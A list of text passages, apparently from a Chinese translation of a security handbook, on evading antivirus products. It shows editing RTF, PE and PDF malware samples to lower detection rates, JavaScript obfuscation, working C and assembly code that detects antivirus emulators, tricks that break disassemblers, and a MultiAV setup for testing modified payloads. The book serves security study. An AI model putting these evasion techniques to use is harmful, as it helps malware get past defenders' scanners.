.text:000000D8 test eax, eax .text:000000DA jz short loc_F8 .text:000000DC push 200h ; _DWORD .text:000000E1 push offset _Page_C ; _DWORD .text:000000E6 lea eax, [ebp+search_buf] .text:000000E9 push 6 ; _DWORD .text:000000EB push eax ; _DWORD .text:000000EC call _DGBMS2 .text:000000F1 add esp, 10h 如果一切顺利的话，函数会返回1，表示文件处在被感染状态。"},
    {"text": "可以登录以下网址查看VirusTotal的扫描报告： https://www.virustotal.com/file/651281158d96874277497f769e62827c48ae495c622141e183fc7f7895d95e3f/analysis/ 。"},
    {"text": "我们如果在文件中搜索卡巴斯基匹配的特征字符串 {\\\\sp2{\\\\sn1 pF 和 ments} ，会在偏移量 0x11b6 处看到如下结果： $ pyew 651281158d96874277497f769e62827c48ae495c622141e183fc7f7895d95e3f 0000 7B 5C 72 74 78 61 7B 5C 61 6E 73 69 7B 5C 73 68 {.rtxa{.ansi{.sh 0010 70 7B 5C 2A 5C 73 68 70 69 6E 73 74 5C 73 68 70 p{.*.shpinst.shp (...many lines stripped...) [0x00000000]> /s \\sp2 HINT[0x000011b6]: .sp2{.sn1 pF}{.sn2 rag}{.*.comment}{.sn3 ments} {.sv22 3;8;15 你可以使用文本编辑器打开这个RTF文件（RTF文件其实就是纯文本文件），然后在字符串 \\sp2 和 {\\sn1 之间加一个空格。"},
    {"text": "做完这样的变更后，我们发现样本仍然可以运行，但是检测出修改后样本的反病毒引擎数有了明显的下降，VirusTotal多引擎扫描报告如下： https://www.virustotal.com/file/f2b9ed2833963abd1f002261478f03c719e4f73f0f801834bd602652b86121e5/analysis/1422286268/ 。"},
    {"text": "因为可以不依赖于其他程序（比如说Microsoft Word）独立运行，可执行文件格式自然而然地成为了恶意软件编写者最亲睐的文件格式。 由于太容易被反病毒软件侦测到，可执行文件一般不会作为恶意软件开展一线攻击的文件格式。"},
    {"text": "一些最典型的修改方法（同时也很复杂）列举在了Corkami项目的wiki页面上，这个页面讨论的内容主要与PE文件有关： https://code.google.com/p/corkami/wiki/PE 。"},
    {"text": "一些反病毒软件的通用扫描器会匹配文件的区段来判断文件是否是某一类恶意软件的变种。 时间戳 在某些情况下，某一类恶意软件的变种会带有相同的时间戳（编译文件的时间），有一些反病毒软件的扫描程序会以时间戳作为查杀恶意软件的依据之一。"},
    {"text": "操作系统的主副版本号以及镜像文件的主副版本号 和时间戳以及链接器的主副版本号类似，操作系统的主副版本号以及镜像文件的主副版本号的改变，也不会影响PE文件的执行。"},
    {"text": "出于性能的原因，一些反病毒软件在进行通用病毒扫描前，会首先检查PE文件是否已经损坏，其中一项检查依据就是，预期区段数量值不能大于96。"},
    {"text": "文件长度 尽管对于PE文件来说没有特别的规定，但当它们的大小超过某个值的时候，通用病毒侦测引擎就会跳过扫描该文件。 因此，在不妨碍PE文件正常执行的情况下，可以在文件末尾添加尽可能多的数据，来实现绕过反病毒软件扫描引擎的目的。"},
    {"text": "许多恶意软件借助浏览器（如Internet Explorer或Firefox）的漏洞，通过在页面内注入iframe窗口或诱导用户访问带有漏洞攻击利用程序的站点，并最终下载可执行文件（如PE文件），来实现对受害者电脑的感染。"},
    {"text": "alert(Number(51966).toString(16)); 代码将十进制数字51 966转化成对应的十六进制形式0xcafe，并通过 toString(16) 返回一个字符串，最终弹出了内容为“cafe”的消息窗口。"},
    {"text": "window[Number(14).toString(16) + Number(31).toString(36) + Number(10).toString(16) + Number(Math.sqrt(441)).toString(35) ](unescape(\"alert%28%22Hi%22%29\")); 上面这段代码运行后会弹出消息提示框，内容为“Hi”。"},
    {"text": "如你所见，只要你敢想，就会发现有许多技巧可以用来混淆JavaScript代码或逻辑，并绕过反病毒软件的侦测。 下面将为大家介绍一些有趣的JavaScript代码混淆技巧。"},
    {"text": "比如，通过一系列拼接操作，达到对真实字符串实现部分隐藏的效果： var a = \"e\"; var x = \"v\"; var n= \"a\"; var zz_0 = \"l\"; real_string = a + x + n + zz_0; 再举一个和上一节相似的例子：将字符串编码为数字，然后在执行过程中还原成字符串。"},
    {"text": "此处使用的技巧是，使用JavaScript中的 escape 和 unescape 函数： unescape(\"alert%28%22Hi%22%29\"); 通过上面这段代码，混淆了完整的字符串 alert('Hi') ，使其变得不那么容易辨识了。"},
    {"text": "比如，通过 setTimeout 设置一段时间后，执行某一字符串从而借助 document.write 向页面内写入混淆程度更高的HTML和JavaScript代码，最终通过 eval 函数执行真实的代码。"},
    {"text": "var a1 = 10; // 在程序中提前设置定义对象 // ... // 一些花指令 // ... if ( a1 == 10 ) { // 实际代码 } else { // 花指令 } 除此以外，还可以结合其他许多技巧来隐藏代码的真实逻辑。"},
    {"text": "反病毒厂商也意识到了恶意软件使用绕过技巧的这一趋势，并开始在反病毒产品中整合进解释器/模拟器，但这类解决方案仍然会遗漏一些新型的混淆技巧。"},
    {"text": "7.3.3 PDF PDF文档的全称为便携文档格式（portable document format），这种文件格式与软件和操作系统无关，会忠实地再现原稿的每一个字符、颜色以及图像。"},
    {"text": "让我们来进行一次实验，使用SHA1散列值为 88b6a40a8aa0b8a6d515722d9801f8fb7d332482 的样本，VirusTotal的扫描结果参见网址： https://www.virustotal.com/file/05d44f5a3fd6ab442f64d6b20e35af77f8720ec47b0ce48f437481cbda7cdbad/analysis/ 。"},
    {"text": "JS 或 JavaScript 的名称可以通过ASCII字符或十六进制字符形式进行编码。 例如，可以将字符 a 转化成十六进制表现形式，即以 # 符号作为开头的字符编码。 经过编码处理后，原先的 /JavaScript 会变成 /J#61v#61Script 。"},
    {"text": "新的多引擎扫描报告结果如下： https://www.virustotal.com/file/2d77e38a3ecf9953876244155273658c03dba5aa56aa17140d8d6ad6160173a0/analysis/ 。"},
    {"text": "我们注意到，上面的VirusTotal扫描报告显示，上述绕过方法似乎对一款之前没有提到的新反病毒产品Dr.Web无效，它成功检测出了修改过的PDF恶意软件样本。 在现实生活中，这种情况时有发生，使用某一技巧修改样本后，它在绕过一款反病毒产品的同时可能又会被另一款新的反病毒软件侦测出来。"},
    {"text": "在PDF文件中，对象的形式如下： 1 0 obj <</Filter /FlateDecode >> stream ...data... endstream endobj 2 0 obj ... endobj 上述例子中有两个对象数字（1或2）、修正数字（此处两个修正数字都是0），以及作用在 << 和 >> 字符之间的对象数据上的一系列过滤器。"},
    {"text": "在 66 0 obj 行前插入数据块，效果如下： 66 0 obj <</Filter /AsciiHexDecode /FlateDecode /FlateDecode /FlateDecode /FlateDecode >> stream 789cab98f3f68e629e708144fbc3facd9c46865d0e896a139c13b36635382ab7c55930c8 6d57e59ec79c7071c5afb385cdb979ec0a2d13585dc32e79d55c5ef2fef39c0797f7d754d ad7fd 2c349dd96378cedebee6f7cf17090c4060fdeecfb7a47c53b69ec54fbfcedefe1e28d210 fbfddfc787ffaa447e54ff7af3755b3f2350ccecdde51ab3d87a8e3f76bf37ec7f9b0c52 d55bfd ebf9bbab55dc3ff6c5d858defc660a143b70ec2e071b9076e8021bbd05c2e906738e2073 4665a82e5333f7fcbcf5db1a5efe2dfaf8a98281e1cff34f47d71baafd67609ceebb1700 153f9a 9d endstream endobj 66 0 obj (...) 添加伪造对象后（结合另一个将会在下面提到的技巧），将PDF文件样本重新上传一次VirusTotal，查看结果： https://www.virustotal.com/file/e43f3f060e82af85b99743e68da59ff555dd2d02f2af83ecac84f773b41f3ca7/analysis/1422360906/ 。"},
    {"text": "如果再使用一次之前的技巧（十六进制编码），这次或许就有效了： https://www.virustotal.com/file/e43f3f060e82af85b99743e68da59ff555dd2d02f2af83ecac84f773b41f3ca7/analysis/1422360906/ 。"},
    {"text": "现在让我们在真实的对象70之前复制创建一份新的对象70，来绕过反病毒软件的侦测，接着将编辑完成的样本文件上传至VirusTotal扫描： https://www.virustotal.com/file/b62496e6af449e4bcf834bf3e33fece39f5c04e47fc680f8f67db4af86f807c5/analysis/1422361191/ 。"},
    {"text": "这次结果下降至只有3款反病毒软件可以检测出PDF恶意软件样本了： https://www.virustotal.com/file/4f431ef4822408888388acbcdd44554bd0273d521f41a9e9ea28d3ba28355a36/analysis/1422363730/ 。"},
    {"text": "更为重要的是，由于在研究绕过反病毒软件的侦测过程中主要基于Adobe PDF解析的工作方式开展，嵌入PDF文件中的漏洞利用攻击程序的相关功能并没有受到任何影响。"},
    {"text": "JavaScript用于编写基于网络的漏洞攻击利用程序。 由于JavaScript代码十分灵活多变，攻击者可以通过代码混淆来隐藏漏洞攻击利用程序的真实逻辑，并绕过侦测。"},
    {"text": "黑客攻防技术宝典：反病毒篇 第 8 章 绕过扫描器 绕过反病毒扫描器与绕过基于特征码的反病毒扫描有所不同，因为前者事实上不是绕过针对特定文件格式的病毒侦测特征码（前一章已有所提及），而是绕过反病毒引擎。"},
    {"text": "尽管这对扫描过程中性能消耗情况改进效果甚微，但是仍然很重要，尤其是谈论到反病毒软件的桌面终端版本时，因为扫描器需要在保证速度的情况下，又不能降低操作系统的运行速度。"},
    {"text": "一般基于静态数据（从可执行程序或PE文件以及文件头中提取出的相关数据）分析的启发式扫描引擎，会倾向于对待扫描文件的大小有筛选限制。"},
    {"text": "另外我们还需要关注一点，通常情况下，扫描器或反病毒引擎在处理一些特殊格式的文件时，可能无法正常解析（比如，损坏的PE文件），这会使得扫描器或反病毒引擎跳过当前或所有PE文件的扫描，不过反病毒软件仍然会对相关文件样本进行基于循环冗余检查（cyclic redundancy check，CRC）的特征码扫描（比如，匹配扫描某些偏移量的CRC值）。"},
    {"text": "如果可以在模拟器中执行非法指令，或者在反汇编引擎中执行合法但未支持或不正确的指令，你将会在大部分反病毒扫描器上得到如下结果：由于反病毒引擎的支持函数存在缺陷，分析程序无法反汇编分析样本文件。"},
    {"text": "在识别反病毒引擎使用的模拟器之前，要提醒大家注意一个事实：反病毒软件的模拟器不会准确或完整地模拟整个操作系统，而是模拟最常被调用的函数。"},
    {"text": "如果使用IDA打开libMACH32.so库（此处有完整的调试符号，这对反汇编分析十分有帮助），会得到如下函数结果： .text:000000000018B93A ; PRUint32 __cdecl Emu_OpenMutexW (void *pVMClass) .text:000000000018B93A public _Z14Emu_OpenMutexWPv .text:000000000018B93A _Z14Emu_OpenMutexWPv proc near ; DATA XREF: .data:kernel32ApiInf .text:000000000018B93A pVMClass = rdi ; void * .text:000000000018B93A mov eax, 0BBBBh .text:000000000018B93F retn .text:000000000018B93F _Z14Emu_OpenMutexWPv endp .text:000000000018B93F .text:000000000018B93F 上述代码与被模拟的kernel32函数 OpenMutexW 一致。"},
    {"text": "可以使用C编写一些代码，来识别Comodo的模拟器： #define MAGIC_MUTEX 0xBBBB void is_comodo_matrix(void) { HANDLE ret = OpenMutex(0, false, NULL); if ( ret == MAGIC_MUTEX && OpenMutex(NULL, false, NULL) == MAGIC_MUTEX ) { MessageBox(0, \"Hi Comodo antivirus!\", \"Comodo's Matrix\", 0); } else { // Do real stuff here... } } 可以使用下面的一些技巧，来确保编写的C代码在Comodo模拟器内执行。"},
    {"text": "在另一个例子中，让我们来看一下与 kernel32!ConnectNamedPipe 对应的函数 Emu_ConnectNamedPipe ： .text:000000000018B8E8 ; PRUint32 __cdecl Emu_ConnectNamedPipe (void *pVMClass) .text:000000000018B8E8 public _Z20Emu_ConnectNamedPipePv .text:000000000018B8E8 _Z20Emu_ConnectNamedPipePv proc near ; DATA XREF: .data:kernel32ApiInf .text:000000000018B8E8 pVMClass = rdi ; void * .text:000000000018B8E8 mov eax, 1 .text:000000000018B8ED retn .text:000000000018B8ED _Z20Emu_ConnectNamedPipePv endp 上述桩代码的返回值总是 true （即值为1）。"},
    {"text": "但攻击者有时候出于各种原因，可能只需要识别分析一款模拟器：可能只想针对一款反病毒软件进行绕过，或者只想利用漏洞针对某一特定的反病毒软件开展攻击。 如果掌握了Comodo antivirus在扫描特定文件格式时的漏洞，就可以借助模拟器识别分析，确定当前扫描的反病毒软件是Comodo antivirus，接着解包特定的文件或缓冲区，利用Comodo的漏洞进行攻击。"},
    {"text": "利用文件格式的弱点 第7章探讨了如果绕过针对一些文件格式（如PE文件和PDF文件）的特征码扫描检测。 但是，与之前介绍的绕过针对单个文件或文件集合的单条特征码不同，接下来将会介绍使用更为复杂的方式绕过整个PE解析模块。"},
    {"text": "int cli_scanpe(cli_ctx *ctx) 程序中的libclamscan/pe.c文件包含以下代码： (...) nsections = EC16(file_hdr.NumberOfSections); if(nsections < 1 || nsections > 96) { #if HAVE_JSON pe_add_heuristic_property(ctx, \"BadNumberOfSections\"); #endif if(DETECT_BROKEN_PE) { cli_append_virus(ctx,\"Heuristics.Broken.Executable\"); return CL_VIRUS; } if(!ctx->corrupted_input) { if(nsections) cli_warnmsg(\"PE file contains %d sections\\n\", nsections); else cli_warnmsg(\"PE file contains no sections\\n\"); } return CL_CLEAN; } cli_dbgmsg(\"NumberOfSections: %d\\n\", nsections); (...) 上述代码片段用于显示已检测的PE文件的区块数量，其逻辑为：如果文件区块为0或区块数量大于96，则认为PE文件已经损坏。"},
    {"text": "进行API模拟 最常见的反模拟器技巧是，使用未有说明文档或不常见的系统API，如 SetErrorMode ： DWORD dwCode = 1024; SetErrorMode(1024); if (SetErrorMode(0) != 1024) printf(\"Hi emulator!\\n\"); 上述代码调用 SetErrorMode 并向其传递了一个参数值1024，接着再次调用 SetErrorMode ，同时传入另外一个值。"},
    {"text": "比如，如果向某一API传递一个 NULL 参数值，在非模拟系统环境下，将会触发一个“access violation exception”错误。 从另一方面来说，调用某一API并传递 NULL 参数值，这一API也有可能会返回0以表示执行错误。"},
    {"text": "目前几乎任何一款模拟器都无法调用类似的系统核心库： int test6(void) { HANDLE hProc; hProc = LoadLibrary(\"ntoskrnl.exe\"); if (hProc == NULL) return EMULATOR_DETECTED; else return EMULATOR_NOT_DETECTED; } 上述案例中的代码尝试加载Windows操作系统的核心部分——NT内核。 但是如果对应的反病毒模拟器比较简单，将无法调用ntoskrnl.exe文件，因为它不是常见的用户态组成部分。 如果目标模拟器允许调用任何一个返回伪句柄的库，可以通过下面这种更加复杂的方式，来确定在模拟器中，响应函数是否和预期的行为一致： struct data1 { int a1; int a2; }; struct data2 { int a1; int a2; int a3; int a4; int a5; int a6; struct data1 *a7; }; typedef int (WINAPI *FCcSetReadAheadGranularity)(struct data2 *a1, int num); typedef int (WINAPI *FIofCallDriver)(); int test8(void) { HINSTANCE hProc; FIofCallDriver pIofCallDriver; hProc = LoadLibrary(\"ntkrnlpa.exe\"); if (hProc == NULL) return 0; pIofCallDriver = (FIofCallDriver)GetProcAddress(hProc,\"IofCallDriver\"); pIofCallDriver -= 2; // At this point there are 2 0xCC characters, //so an INT3 should be raised try { pIofCallDriver(); return EMULATOR_DETECTED; } catch(…) { return EMULATOR_NOT_DETECTED; } } 上例加载了二进制文件ntkrnlpa.exe，获取函数 IofCallDriver 的地址，接着跳至该函数前两个字节处。"},
    {"text": "再举另外一个例子： int test9(void) { HINSTANCE hProc; FCcSetReadAheadGranularity CcSetReadAheadGranularity; struct data1 s1; struct data2 s2; int ret; hProc = LoadLibrary(\"ntkrnlpa.exe\"); if (hProc == NULL) return 0; CcSetReadAheadGranularity = (FCcSetReadAheadGranularity)GetProcAddress( hProc, \"CcSetReadAheadGranularity\"); if (CcSetReadAheadGranularity == NULL) return 0; s1.a2 = 0; s2.a7 = &s1; // After this call, ret must be 0x666, the given 2nd argument // minus 1 ret = CcSetReadAheadGranularity(&s2, 0x667); if (ret != 0x666) return EMULATOR_DETECTED; else return EMULATOR_NOT_DETECTED; } 上述代码调用了一个函数，该函数接受了一个结构体（名为 data1 ）和一个值（本例中该值为 0x667 ）。"},
    {"text": "接下来是一个简单的例子： FILE *f; f = fopen(\"c:\\\\con\", \"r\"); if (f == NULL) return EMULATOR_DETECTED; else return EMULATOR_NOT_DETECTED; 上述代码用于打开C:\\con。"},
    {"text": "总而言之，该技巧只适用于最新的模拟器：从Windows 9X开始就有的模拟器可以支持包括这一特性在内的其他旧功能，因为按照一般规律来说，反病毒引擎不会移除旧的代码。"},
    {"text": "可以通过下面这段代码，重现Norman SandBox的这一缺陷： int test1(void) { try { __asm { mov eax, 1 mov dr0, eax } } catch(...) { return EMULATOR_NOT_DETECTED; } return EMULATOR_DETECTED; } 上述代码尝试改变注册表DR0 Intel x86，该调试注册表是不允许被用户态程序修改的。"},
    {"text": "下面是另一个技巧： int test2(void) { try { __asm { mov eax, 1 mov cr0, eax } } catch(...) { return EMULATOR_NOT_DETECTED; } return EMULATOR_DETECTED; } 上述代码试着更改另外一个特权注册器—— CR0 。"},
    {"text": "下面是另外一个技巧： int test3(void) { try { __asm int 4 // aka INTO, interrupt on overflow } catch(...) { return EMULATOR_NOT_DETECTED; } return EMULATOR_DETECTED; } Norman SandBox过去常常因为 INTO 指令崩溃（溢出标记为1时，引发中断号为4的内部中断）。"},
    {"text": "/** Norman Sandbox stopped execution at this point :( */ int test4(void) { try { __asm ud2 } catch(...) { return EMULATOR_NOT_DETECTED; } return EMULATOR_DETECTED; } /** Norman Sandbox stopped execution at this point :( */ int test5(void) { try { // icebp __asm _emit 0xf1 } catch(...) { return EMULATOR_NOT_DETECTED; } return EMULATOR_DETECTED; } 你可以通过查阅Intel x86指令集文档，找到大量绕过反病毒模拟器的技巧。"},
    {"text": "如今指令集包含SSE、SSE2、SSE3、SSE4、SSE5、3DNow!、MMX、VMX、AVX、XOP、FMA以及许多其他指令，其中有些十分复杂，也有些在说明文档中部分提及或完全没有提及。"},
    {"text": "大部分反汇编分析模块只能处理基础的指令集，当然也有部分反汇编分析模块会尽可能多地去覆盖到各类指令集。 尽管有一部分反汇编分析程序项目尝试覆盖到所有指令并取得了不错的效果（比如，Nguyen Anh Quynh博士开发的Capstone disassembler项目），但是要想覆盖到所有指令集还是不太可能的。 反病毒产品中使用的反汇编模块，一般要么是由类似Capstone disassembler项目尝试覆盖到所有指令的反汇编模块实现的，比如卡巴斯基和Panda反病毒软件，要么只是使用Gil Dabah开发的旧版 diStorm 反汇编模块，该项目以BSD证书的方式授权以供下载。 根据反病毒反汇编模块的不同，我们需要手动执行分析，来找出传入什么指令会导致反汇编模块崩溃。"},
    {"text": "一位反病毒工程师发现了下面这段用于抗反汇编的指令： f30f1f90909090. rep nop [eax+0x66909090] Intel x86的 NOP 指令一般会被编码为 0x09 ，但是仍有一些其他类型的 NOP 指令，比如上面列出的这一段。"},
    {"text": "通过使用上面提到的这些无法支持的指令，可以让样本文件绕过任何通用扫描程序，因为这些扫描程序使用了无法正确解析这些指令的反汇编引擎。"},
    {"text": "旧版本的 diStorm 和其他一些类似 udisx86 这样的免费反汇编程序，就无法正确解析以下指令： 0F 20 00: MOV EAX, CR0 0F 20 40: MOV EAX, CR0 0F 20 80: MOV EAX, CR0 0F 21 00: MOV EAX, DR0 0F 21 40: MOV EAX, DR0 0F 21 80: MOV EAX, DR0 尽管上述指令均为特权指令，我们还是可以用它们来触发一个异常，接着使用构造好的异常处理器进行处理。"},
    {"text": "通过反分析技巧干扰代码分析模块 另一项通用技巧是使用反分析技巧。 这项技巧用于干扰反病毒软件中的代码分析模块，比如针对Intel x86代码分析样本的基础区块和函数的程序。"},
    {"text": "但只有一个条件分支会被接受执行，恶意软件作者在指令中部设置了一个跳转，这样就可以干扰IDA的自动分析功能，同时还可以干扰其他反病毒产品中内置的代码分析器。"},
    {"text": "图8-3 FlyStudio的部分函数 但上面的函数看起来有点怪怪的：它只有四个基本区块，错误的分支没有被去除，看起来似乎错误的指令位于最后一个基本区块处。"},
    {"text": "跳过内存页 不通过附加到相关进程上读取进程内存（反病毒软件大都采取这类手段，因为附加到进程上读取内存信息是一种十分具有侵入性的手段）的反病毒引擎通常采取以下步骤： (1) 调用 OpenProcess ；"},
    {"text": "例如，Microsoft Notepad在Windows x86的运行实例会包含所有系统附加的DLL内存区块（ntdll、kernel32、advapi、gdi32等），程序所有的内存区块（代码部分、数据部分等）以及所有真实运行过程中创建的内存区块（栈、堆以及虚拟内存）。"},
    {"text": "也正是出于这样的原因，我们可以在创建的内存页面内，通过将相关代码和字符串在内存页面开头向后移动几个千字节（甚至是兆字节），来对反病毒引擎隐藏代码逻辑。 有些反病毒在侦测过程中只会读取内存页面开头的几个千字节（一般是1024 KB或1 MB），这样就会遗漏掉这些字节之后的真实数据和代码。"},
    {"text": "当系统尝试执行这些内存页面中的代码时，会抛出一个异常。 抛出异常后，我们可以暂时将内存页面标记为RX，继续执行，然后再次将内存页面设置为只读状态。"},
    {"text": "因此，你可以创建一个正常的文件，里面携带了含有漏洞利用程序的正常PDF文件。 例如，我们可以创建包含合法PDF漏洞利用程序的PE文件、ZIP文件或JPG文件等。"},
    {"text": "用于绕过反病毒软件的toolkit或基础库文件 尽管可以使用更完整的Veil Framework，不过这里我们准备使用一种完全使用Python开发的PE文件检测绕过工具：peCloak.py。"},
    {"text": "在此之前一定要确保安装了客户端增强包，以便更容易地进行接下来的各项操作，同时把网卡配置为Bridged，这样就可以连接到虚拟机内部的TCP监听服务了。"},
    {"text": "成功安装带有Ubuntu Linux系统的虚拟机和客户端增强包后，继续安装 git 并下载MultiAV的源代码： $ sudo apt-get install git 安装好GIT工具后，输入以下命令，下载MultiAV的源代码。 $ cd $HOME $ git clone https://github.com/joxeankoret/multiav MultiAV的源代码下载完成后，还有反病毒产品没有安装，这就是我们接下来要进行的操作。"},
    {"text": "$ sudo apt-get install python-pyclamd clamav-daemon $ sudo freshclam # download the latest signatures $ sudo /etc/init.d/clamav-daemon start # start the daemon 如果一切顺利，ClamAV和MultiAV要用到的Python binding就可以正常运行了。"},
    {"text": "输入以下指令来测试该扫描器： $ mkdir malware $ cd malware $ wget http://www.eicar.org/download/eicar.com.txt $ clamdscan eicar.com.txt /home/joxean/malware/eicar.com.txt: Eicar-Test-Signature FOUND ----------- SCAN SUMMARY ----------- Infected files: 1 Time: 0.068 sec (0 m 0 s) 简单执行以下Python指令来验证Python binding没有出错： $ python Python 2.7.6 (default, Mar 22 2014, 22:59:38) [GCC 4.8.2] on linux2 Type \"help\", \"copyright\", \"credits\" or \"license\" for more information. >>> import pyclamd >>> 接下来要安装更多反病毒产品。"},
    {"text": "一旦获取到了许可密钥，Ubuntu repository和在邮箱收件夹中的GPG密钥使用以下命令安装该产品： # echo \"deb http://deb.avast.com/lin/repo debian release\" >> /etc/apt/sources.list # apt-key add /path/to/avast.gpg # apt-get update # apt-get install Avast 运行上述命令后，复制附件许可证文件到/etc/avast目录，把文件名命名为license.avastlic。"},
    {"text": "执行以下指令，确定可以正常运行，： $ sudo /etc/init.d/avast start $ mkdir malware $ cd malware $ wget http://www.eicar.org/download/eicar.com.txt $ scan eicar.com.txt /home/joxean/malware/eicar.com.txt EICAR Test-NOT virus!!! 安装AVG 接下来要安装的反病毒软件AVG，需要从以下链接下载： http://download.avgfree.com/filedir/inst/avg2013flx-r3118-a6926.i386.deb 。"},
    {"text": "$ avgscan /home/joxean/malware/eicar.com.txt AVG command line Anti-Virus scanner Copyright (c) 2013 AVG Technologies CZ Virus database version: 3657/6926 Virus database release date: Mon, 16 Dec 2013 22:19:00 +0100 /home/joxean/malware/eicar.com.txt Virus identified EICAR_Test Files scanned : 1(1) Infections found : 1(1) PUPs found : 0 Files healed : 0 Warnings reported : 0 Errors reported : 0 安装成功！"},
    {"text": "安装F-Prot 由Gzip打包的tar文件格式的F-Prot Linux版安装包可以通过如下页面下载： http://www.f-prot.com/download/home_user/download_fplinux.html 。 完成下载后，运行以下命令解压缩： $ tar -xzvf fp-Linux.x86.32-ws.tar.gz 然后，进入创建好的f-prot目录并执行以下命令： $ sudo perl install-f-prot.pl 接受所有默认条款，继续执行安装操作。"},
    {"text": "$ fpscan -r /home/joxean/malware/eicar.com.txt F-PROT Antivirus CLS version 6.7.10.6267, 32bit (built: 2012-03-27T12-34-14) FRISK Software International (C) Copyright 1989-2011 Engine version: 4.6.5.141 Arguments: -r /home/joxean/malware/eicar.com.txt Virus signatures: 201506020213 (/home/joxean/sw/f-prot/antivir.def) [Found virus] <EICAR_Test_File (exact)> /home/joxean/malware/eicar.com.txt Scanning: Results: Files: 1 Skipped files: 0 MBR/boot sectors checked: 0 Objects scanned: 1 Infected objects: 1 Infected files: 1 Files with errors: 0 Disinfected: 0 Running time: 00:01 安装Comodo Comodo反病毒软件Linux版可以通过如下页面下载： https://www.comodo.com/home/internet-security/antivirus-for-linux.php 。"},
    {"text": "和安装AVG的操作类似，我们可以通过执行以下命令进行安装： $ sudo dpkg -i cav-linux_1.1.268025-1_i386.deb 安装完成后，系统会提示必须以root权限运行配置Comodo的命令。 你需要运行以下命令： $ sudo /opt/COMODO/post_setup.sh 接受安装协议和默认配置。"},
    {"text": "然后，运行以下命令以升级病毒特征数据库： $ /opt/COMODO/cav GUI会提示病毒特征数据库从未更新过。 点击Never Updated链接按钮，下载最新的病毒特征数据库。"},
    {"text": "$ /opt/COMODO/cmdscan -v -s /home/joxean/malware/eicar.com.txt -----== Scan Start ==----- /home/joxean/malware/eicar.com.txt ---> Found Virus, Malware Name is Malware -----== Scan End ==----- Number of Scanned Files: 1 Number of Found Viruses: 1 与Comodo配套的命令行扫描器 cmdscan 有一些限制。"},
    {"text": "其Linux版可以通过以下链接下载： http://www.zonerantivirus.com/stahnout?os=linux 。 选择Zoner Antivirus的GNU/Linux、适用于Ubuntu以及32位的版本，然后点击下载按钮。"},
    {"text": "$ sudo /etc/init.d/zavd update 02/06/15 12:45:54 [zavdupd]: INFO: ZAVd Updater starting ... 02/06/15 12:46:00 [zavdupd]: INFO: Succesfully updated ZAV database and ZAVCore engine Informing ZAVd about pending updates $ sudo /etc/init.d/zavd restart Stopping Zoner AntiVirus daemon 02/06/15 12:46:52 [zavd]: INFO: Sending SIGTERM to 16863 02/06/15 12:46:52 [zavd]: INFO: ZAVd successfully terminated Starting Zoner AntiVirus daemon 02/06/15 12:46:52 [zavd]: INFO: Starting ZAVd in the background... 02/06/15 12:46:53 [zavd]: INFO: ZAVd successfully started $ zavcli ../malware/eicar.com.txt ../malware/eicar.com.txt: INFECTED [EICAR.Test.File-NoVirus] 这样，所有需要用到的反病毒产品就全部安装完成了。"},
    {"text": "禁用反病毒引擎（比如，ESET Nod32），只需要像下面这样在配置文件中对应反病毒产品部分添加粗体部分的代码： [ESET] PATH=/opt/eset/esets/sbin/esets_scan ARGUMENTS=--clean-mode=NONE --no-log-all DISABLED=1 除了之前下载并配置好的Avast、AVG、ClamAV、Comodo、F-Prot和Zoner以外，这里还需要禁用其他所有反病毒产品。 完整的配置文件如下所示： [ClamAV] UNIX_SOCKET=/var/run/clamav/clamd.ctl [F-Prot] PATH= /usr/local/bin/fpscan ARGUMENTS=-r -v 0 [Comodo] PATH=/opt/COMODO/mycmdscan ARGUMENTS=-s $FILE -v [ESET] PATH=/opt/eset/esets/sbin/esets_scan ARGUMENTS=--clean-mode=NONE --no-log-all DISABLED=Y [Avira] PATH=/usr/lib/AntiVir/guard/scancl ARGUMENTS=--quarantine=/tmp -z -a --showall --heurlevel=3 DISABLED=Y [BitDefender] PATH=/opt/BitDefender-scanner/bin/bdscan ARGUMENTS=--no-list DISABLED=Y [Sophos] PATH=/usr/local/bin/sweep ARGUMENTS=-archive -ss DISABLED=Y [Avast] PATH=/bin/scan ARGUMENTS=-f [AVG] PATH=/usr/bin/avgscan ARGUMENTS=-j -a --ignerrors [DrWeb] PATH=/opt/drweb/drweb ARGUMENTS= DISABLED=Y [McAfee] PATH=/usr/local/uvscan ARGUMENTS=--ASCII --ANALYZE --MANALYZE --MACRO-HEURISTICS --RECURSIVE --UNZIP DISABLED=Y # Ikarus is supported in Linux running it with wine (and it works great) [Ikarus] PATH=/usr/bin/wine ARGUMENTS=/path/to/ikarus/T3Scan.exe -sa DISABLED=1 [F-Secure] PATH=/usr/bin/fsav ARGUMENTS=--action1=none --action2=none DISABLED=1 [Kaspersky] # Works at least in MacOSX PATH=/usr/bin/kav ARGUMENTS=scan $FILE -i0 -fa DISABLED=1 [ZAV] PATH=/usr/bin/zavcli ARGUMENTS=--no-show=clean 配置完MultiAV后，就可以通过以下命令对其进行测试了： $ python multiav.py /home/joxean/malware/eicar.com.txt {'AVG': {'/home/joxean/malware/eicar.com.txt': 'EICAR_Test'}, 'Avast': {'/home/joxean/malware/eicar.com.txt': 'EICAR Test-NOT virus!!!'}, 'ClamAV': {'/home/joxean/malware/eicar.com.txt': 'Eicar-Test-Signature'}, 'Comodo': {'/home/joxean/malware/eicar.com.txt': 'Malware'}, 'F-Prot': {'/home/joxean/malware/eicar.com.txt': 'EICAR_Test_File (exact)'}, 'ZAV': {'/home/joxean/malware/eicar.com.txt': 'EICAR.Test.File-NoVirus'}} 扫描结束之后，将会得到一个检测报告，其中包括了每一款反病毒软件对给定样本的分析结果。"},
    {"text": "图8-6 反病毒引擎扫描分析结果 但是，这里我们对Web交互接口并不感兴趣：虽然它有效而且有用，但是找到编写工具需要使用到的API显得更为重要。"},
    {"text": "可以使用upload_fast API来上传修改过的payload。 但要如何获取修改过的payload呢？ 例如，在存在缓存的前提下，如何获取一个修改过并发送给MultAV的API进行扫描的Meterpreter payload呢？"},
    {"text": "这里我们对peCloak的原始版本做了一些改动并进行打包，你可以从以下链接下载修改后的新版本： https://github.com/joxeankoret/tahh/tree/master/evasion 。"},
